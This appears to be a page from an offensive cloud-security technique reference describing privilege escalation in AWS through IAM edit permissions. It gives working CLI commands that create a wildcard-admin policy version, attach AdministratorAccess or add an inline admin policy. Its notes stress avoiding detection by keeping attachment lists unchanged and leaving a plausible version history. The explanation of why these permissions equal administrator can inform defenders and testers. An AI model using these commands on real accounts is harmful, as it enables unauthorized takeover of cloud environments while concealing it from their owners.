Exploit policy edit permissions¶

Become administrator in a cloud account by rewriting a policy the current identity is allowed to edit:

Establish which identity is in use and what it may do to identity and access management
Use an edit permission to grant the identity everything

aws sts get-caller-identity
aws iam list-attached-user-policies --user-name analyst
aws iam list-user-policies --user-name analyst

Example: a new default policy version¶

A policy an identity may edit does not restrict what the edit says. Creating a new version and setting it as default replaces the permissions in place, with no new policy attached and nothing to notice in an attachment list.

cat > admin.json <<'EOF'
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}
EOF

aws iam create-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/team-managed \
  --policy-document file://admin.json \
  --set-as-default

Where the identity may attach policies instead, the managed administrator policy is already written:

aws iam attach-user-policy --user-name analyst \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

An inline policy avoids the attachment listing entirely:

aws iam put-user-policy --user-name analyst \
  --policy-name maintenance --policy-document file://admin.json

Notes¶

iam:CreatePolicyVersion, iam:AttachUserPolicy and iam:PutUserPolicy are handed out so a team can manage its own permissions without a ticket for every change. None of them constrains the content of what is written, which makes each of them equivalent to administrator for anyone holding it.

A policy has a version history, and only the default version is in force. Rewriting the default leaves the earlier versions in place, so the policy retains a plausible history and the attachment list is unchanged.

iam:SetDefaultPolicyVersion on its own is enough where an older version of the policy was ever more permissive than the current one, which is common on policies that have been narrowed over time.